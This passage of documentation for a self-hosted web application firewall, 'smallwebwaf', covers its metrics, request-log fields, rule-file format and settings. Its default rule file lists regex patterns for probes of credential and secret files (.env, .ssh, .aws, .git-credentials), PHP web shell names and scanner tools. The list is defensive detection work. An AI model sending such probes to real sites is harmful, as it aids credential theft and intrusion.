- nixpkgs: the release file `nixexprs.tar.xz` of
`nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
SHA-256 hash.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes.
- The Go image that builds `smallwebwaf`: by digest.
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# The metrics
What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address.
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
## Traffic
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
`action`;
- `smallwebwaf_request_duration_seconds` and
`smallwebwaf_upstream_duration_seconds`, as histograms;
- `smallwebwaf_requests_in_flight`: the questions and requests to its own
endpoints that `servewaf` is handling.
## Limits and bans
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
`bytes` or `refusals`);
- `smallwebwaf_offences_total`, by `kind`;
- `smallwebwaf_bans_made_total`, by `cause`;
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
## Attack detection
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
`smallwebwaf_rules_loaded`;
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
fired.
## Countries and AS numbers
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
- `smallwebwaf_country_requests_total`,
`smallwebwaf_country_request_bytes_total`,
`smallwebwaf_country_response_bytes_total` and
`smallwebwaf_country_list_refusals_total`, by `country`;
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
`smallwebwaf_asn_response_bytes_total`, by `asn`.
## Lookups
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
went on without it;
- with the file source,
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and
`smallwebwaf_lookup_database_read_failures_total`.
## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`:
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
and `smallwebwaf_reputation_failures_total`;
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
## State files
By `file`:
- `smallwebwaf_state_file_writes_total`,
`smallwebwaf_state_file_write_failures_total`,
`smallwebwaf_state_file_last_write_timestamp_seconds` and
`smallwebwaf_state_file_size_bytes`;
- `smallwebwaf_state_file_edits_taken_in_total` and
`smallwebwaf_state_file_edits_set_aside_total`;
- `smallwebwaf_tracked_clients`: the clients in the table.
## Remote log, alerts and the process
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
`smallwebwaf_remote_log_lines_dropped_total` and
`smallwebwaf_remote_log_buffer_depth`;
- by `destination`, `smallwebwaf_alerts_sent_total`,
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
`smallwebwaf_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics.
## When a request is counted
`servewaf` counts a denied request at its decision, and a request to its own
endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted:
- a report itself;
- an allowed request whose report never comes;
- a question refused with `400`;
- a question whose body stopped arriving.
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# The request log's fields
The fields of the JSON objects `rproxy` and `servewaf` write about each request.
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
written and how the log is sent to a syslog server. A field that does not apply
to a request is left out.
## `servewaf`'s lines
`smallwebwaf servewaf` writes two lines for each question it answers, joined by
`request_id`. The field `servewaf_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended.
A request to its own endpoints writes one line, without `servewaf_line`. A
report writes no line but the `report` line of the request it names.
These questions write no line:
- a question refused with `400` (see "The question" under "`servewaf`" in
[`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer.
A `report` line:
```
{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
```
### Every line
Every one of these lines has:
- `type`: `request` (the process's own messages have `process`);
- the standard web log fields;
- `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`;
- `action` and `duration_total`.
### Standard web log fields
- `time`: when `servewaf` had read the question's body, RFC 3339 with
milliseconds, in UTC. The `report` line gives the same time as the `decision`
line.
- `instance`: `SWWAF_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
it.
- `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`.
- `status`:
- on the `decision` line, what `servewaf` answered: `200` for `allow`, the
status of `deny`, or `0` for `close`, as the visitor is then sent nothing;
- on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set
read;
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor.
- `response_bytes`:
- on the `decision` line, the body of `servewaf`'s answer;
- on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app.
- `referer` and `user_agent`.
### Request detail
- `request_id`: the id `rproxy` made for the request when it arrived.
- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
/32 or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
when:
- lookups are off;
- the client is not looked up;
- the source cannot place the client;
- GeoJS had not answered by the time `servewaf` answered.
- `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
in lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged.
### Response detail
- `response_content_type`: the type of `servewaf`'s own answer.
- `aborted`: true when `rproxy` went away before the answer.
### Decision
- `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
the action `deny`;
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a
CrowdSec decision, each of which bans the client;
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
refused by that check;
- `too_large`: over a header limit;
- `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a
path under `/_smallwebwaf/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally
`forward`.
- `limit_percent` and `limit_percent_setting`: the client's percentage of the
rate limits and the setting that lowered it, when one did. `bytes_percent` and
`bytes_percent_setting` do the same for the byte limits.
- `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
its report comes. So on the `decision` line, the bytes are without this
request's.
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `error_burst`.
A request whose bytes broke a limit was passed on whole, so its `action`
stays `forward`. Only its `report` line gives that limit.
- `rule_ids`: the rule file rules that matched, in order, up to the one that
refused.
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order:
- blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones;
- `abuseipdb`.
- `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`.
### Timings
All in milliseconds:
- `duration_total`:
- on the `decision` line, from `servewaf` having read the question's body to
the line;
- on the `report` line, from `rproxy` having read the request's headers to
the end of the answer.
- `duration_checks`: to the end of the checks;
- `duration_waf`: the part of that the Core Rule Set took;
- `duration_upstream_total`: on the `report` line of an allowed request, from
the hand-over to the app to the end of the answer.
### Requests to its own endpoints
The line of a request to `servewaf`'s own endpoints has these fields, with these
meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer.
- `request_id`: a new random one of 26 letters and digits.
- `scheme`: `http`.
- `time`: when the request's headers had been read.
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
- `action`: `admin`.
- `duration_total`: from the request's headers being read to the line.
## `rproxy`'s line
`smallwebwaf rproxy` writes one short line for each request. `request_id` joins
it to `servewaf`'s two. It has these fields and no others:
- `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
- `request_id`: the id `rproxy` made for the request when it arrived.
- `client_ip`: the visitor's address.
- `host` and `method`.
- `path` and `query`: as the visitor sent them.
- `status`: what the visitor got, `0` if nothing.
- `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
a WebSocket carried from the visitor.
- `response_bytes`: the bytes of the answer's body, with what a WebSocket
carried from the app.
- `duration_request`: milliseconds from the request's headers being read until
the app had been sent the whole request, or the answer started if that was
sooner. It includes the wait for `servewaf`.
- `duration_response`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left
out when:
- `servewaf` was not asked, as for the health check;
- the visitor went away while `servewaf` was being asked;
- `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`;
- `rproxy` could not pass on `servewaf`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
For example:
```
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
```
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# Rule files
The format of a rule file, and the default file the image ships. "Rule files" in
[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
what each action leads to.
## The format
A rule is a line of four fields separated by spaces or tabs: an id, a target, an
action and a regex. The regex runs to the end of the line. Blank lines and lines
starting with `#` are ignored.
```
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
```
- The id is letters, digits, `-` and `_`, unique across all files. The log line,
the metrics, the alerts and a ban's notes name the rule by it.
- The target is what the regex is matched against:
- `path`: the path without the query;
- `uri`: the path and the query together;
- `query`: the query as sent;
- `method`, `host`, `user_agent` and `referer`;
- `header:<Name>`: any one request header but `Host` and
`Transfer-Encoding`.
- The action is `log`, `block` or `ban`.
- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/smallwebwaf/rules.d/00-default.rules`:
```
# 00-default.rules: probes no real visitor sends, anchored at the site root
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
vcs-dir path ban (?i)^/\.(git|svn|hg|bzr)(/|$)
secrets-dir path ban (?i)^/\.(aws|ssh|docker|kube)/
secret-file path ban (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
editor-dir path ban (?i)^/\.(vscode|idea)/
backup-file path ban (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
log-file path ban (?i)^/(debug|error|access)\.log$
compose-file path ban (?i)^/(docker-)?compose\.ya?ml$
php-shell path ban (?i)^/(shell|c99|r57|wso|alfa)\.php$
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
path-traversal uri block (\.\./){2,}
empty-agent user_agent log ^$
```
## A file of your own
`servewaf` reads the rule files in its own container. Rules of your own go in a
file named to sort after the default, such as `50-gitea.rules`:
```
# 50-gitea.rules: WordPress probes, which gitea never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
```
A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from,
adds it:
```dockerfile
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
```
Or mount it there. A `path` rule applies on every site behind that `servewaf`.
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# Settings
Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWWAF_` are `servewaf`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND`
chooses between the two (see "The image's command" below).
## Forms of values
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`.
- A list is comma separated, with spaces around items ignored. An empty item is
refused.
- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
address stands for itself alone.
- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
are the same. `xk` stands for Kosovo. A code that is not a country is refused,
such as `nk` (North Korea is `kp`) or the withdrawn `su`.
- An AS number is `AS` and the number, in either case, such as `AS64496`.
- A percentage is a whole number from 0 to 100.
- A path prefix starts with `/`, such as `/assets/`.
## Core
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
name in each line `servewaf` logs, and in each alert and metric, such as
`fsn1/servewaf`. Valid UTF-8. No control character while
`SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is
not.
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
client's group, from 32 to 128.
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps,
a whole number above zero.
## Tokens
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_smallwebwaf/clients/<ip>`. At least 32 characters.
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
At least 32 characters.
## State files
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
files, an absolute path that exists and can be written.
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration.
## Logging
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own
messages that are written: `debug`, `info`, `warn` or `error`.
- `SWWAF_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`.
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more.
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
each syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
## Static lists
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits.
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
step 3 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `500`, about 8 a second): the most
requests a client may make in a minute. A count or `off`. The default catches,
within seconds, a client firing requests as fast as it can. It leaves room for
a fleet of about 20 agents at its busiest, about 120 requests a minute. It
also leaves room for a few quick first visits to gitea with an empty cache,
about 40 files each.
- `SWWAF_RATE_LIMIT_PER_HOUR` (default `20000`, about 5.5 a second): the most
requests a client may make in an hour. A count or `off`. The default leaves
room for an automation fleet at work. It catches a client that keeps up more
than about 5.5 a second for an hour.
- `SWWAF_RATE_LIMIT_PER_DAY` (default `300000`, about 3.5 a second): the most
requests a client may make in a day. A count or `off`. The default catches a
scraper that keeps up 4 a second around the clock.
- Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
rate limiting and the byte limits, such as `/assets/`.
## Byte limits, per client
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `4G`), `SWWAF_BYTES_LIMIT_PER_HOUR`
(default `20G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `200G`): the most
bytes counted for a client in each window. A size or `off`.
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
`response`, `request` or `both`.
## Lookup of AS number and country
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set:
- the two country lists;
- `SWWAF_ADD_LOOKUP_HEADERS`;
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`.
## Country lists
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
such as `cn,ru,kp`.
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country on both lists
stops the start.
## Biased thresholds
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
listed twice is refused.
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
`cn:25,ru:50`.
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
the same, for the byte limits alone.
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place.
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
## Attack detection
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
rule files.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4.
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`.
- `SWWAF_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own.
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect.
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
the Core Rule Set reads, a size of at most `64K`. A question carries no more
of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one
byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
in a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
## Ban lengths, response and scope
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration.
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration.
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32.
## Reputation
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused.
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
last try before it is fetched again. A duration of `1h` or more.
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key.
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used.
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused.
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit.
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
## Alerting
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value. A value cannot hold a comma.
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
that receives each alert as a message, checked as the webhook URL is.
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
as the webhook URL is.
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused.
- `SWWAF_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused.
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`.
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most bytes counted in
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
default. The four thresholds per client are:
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`:
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length:
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client;
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client.
- `SWWAF_ANOMALY_ASN_...`: per AS number.
- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
To give a token as a file, as "Tokens" under "Deployment" in
[`SPEC.md`](../SPEC.md) describes, make the file on the host:
```sh
mkdir -p /srv/app/tokens
openssl rand -hex 32 > /srv/app/tokens/metrics
chown 65532:65532 /srv/app/tokens/metrics
chmod 0400 /srv/app/tokens/metrics
```
Then mount its directory into the container read-only, and name the file:
```sh
docker run \
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
-e SMALLWEBWAF_COMMAND=servewaf \
-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
...
```
## Fixed limits
A few limits are fixed rather than settings:
- at most 100,000 GeoJS answers are kept;
- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
- at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts;
- `servewaf` holds at most 10,000 answered requests awaiting their reports;
- `servewaf` refuses a request with more than 50 cookies or more than 100 header
fields (see "Answering in time" under "`servewaf`" in
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers
`502` to a longer one.
## `servewaf`'s answer and `rproxy`'s wait
`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question
waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are
asked in the background (see "Answering in time" under "`servewaf`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
`smallwebwaf rproxy` reads the settings below and no others. They are read once
at start, and an invalid value stops the start. None can be given as a file,
since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says
what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s
answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`servewaf` cannot be connected to, does not answer at all, or does not answer
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
